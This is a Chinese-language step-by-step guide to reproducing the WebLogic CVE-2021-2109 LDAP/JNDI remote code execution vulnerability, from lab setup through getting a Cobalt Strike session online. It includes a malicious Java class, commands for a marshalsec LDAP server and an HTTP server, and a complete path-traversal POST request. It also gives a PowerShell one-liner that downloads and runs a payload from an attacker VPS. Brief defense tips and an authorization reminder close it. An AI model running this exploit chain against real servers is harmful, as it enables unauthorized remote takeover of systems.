weblogicCVE-2021-2109ldap远程代码执行漏洞复现(从weblogic环境搭建到漏洞复现CS上线)
字数 1435 2025-08-15 21:33:50
WebLogic CVE-2021-2109 LDAP远程代码执行漏洞复现指南
漏洞概述
CVE-2021-2109是Oracle WebLogic Server中的一个高危漏洞,结合LDAP注入实现远程代码执行。该漏洞通常与CVE-2020-14882(未授权访问漏洞)结合使用,可在未授权情况下实现远程命令执行。
环境准备
1. WebLogic环境搭建
下载链接:
- WebLogic 10.3.6安装包:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
- JDK 7(与WebLogic 10.3.6兼容):https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html
安装步骤:
- 安装JDK并配置环境变量
- 执行WebLogic安装命令:
java -D64 -jar wls1036_generic.jar - 设置安装路径(默认建议:
C:\Oracle\Middleware\user_projects\domains) - 设置管理员密码
- 完成安装后,访问控制台验证是否安装成功
2. 工具准备
-
marshalsec LDAP服务器:
- 下载地址:https://github.com/RandomRobbieBF/marshalsec-jar/archive/master.zip
- 用于搭建恶意的LDAP服务器
-
Cobalt Strike(CS)(可选):
- 用于接收反弹shell(如果需要进行渗透测试)
漏洞复现步骤
1. 构造恶意Java类
创建一个名为Request.java的文件,内容如下:
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Request {
public Request() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
}
修改说明:
- 如需上线CS,将
calc.exe替换为CS木马下载执行命令:cd ../../Windows/Temp && powershell (new-object System.Net.WebClient).DownloadFile('http://vps/123.jpg','evil.exe') & evil.exe
2. 编译Java类
使用与目标环境相同版本的JDK进行编译:
javac Request.java
编译后将生成的Request.class文件上传到VPS的Web目录下。
3. 启动HTTP服务
在VPS上启动HTTP服务,确保Request.class可通过HTTP访问:
python3 -m http.server 80
4. 启动LDAP服务
使用marshalsec启动恶意的LDAP服务器:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-vps-ip/#Request" 5005
5. 构造并发送攻击请求
使用Burp Suite构造以下POST请求:
POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1
Host: 目标IP:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.2
Content-Length: 163
Content-Type: application/x-www-form-urlencoded
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22;ldap://your-vps-ip:5005/Request;AdminServer%22)
关键点说明:
%252e%252e%252f是URL编码后的../,用于目录遍历- LDAP地址
ldap://your-vps-ip:5005/Request指向恶意LDAP服务器 AdminServer是WebLogic默认的服务器名称
6. 结果验证
- 如果使用
calc.exe,目标服务器将弹出计算器 - 如果使用CS木马,CS将接收到反弹的shell
限制条件
- 目标服务器必须能够出网(访问外部LDAP和HTTP服务)
- 需要正确构造和发送攻击数据包
- 目标WebLogic版本需存在漏洞(通常为10.3.6.0.0及以下版本)
防御建议
- 及时更新WebLogic到最新版本
- 限制WebLogic控制台的访问权限
- 配置网络防火墙规则,限制不必要的出站连接
- 监控异常的LDAP和JNDI请求
总结
本漏洞利用WebLogic的JNDI注入和未授权访问漏洞,通过LDAP协议实现远程代码执行。复现过程中需注意JDK版本匹配、网络可达性以及攻击载荷的构造。在实际渗透测试中,应确保获得合法授权后再进行测试。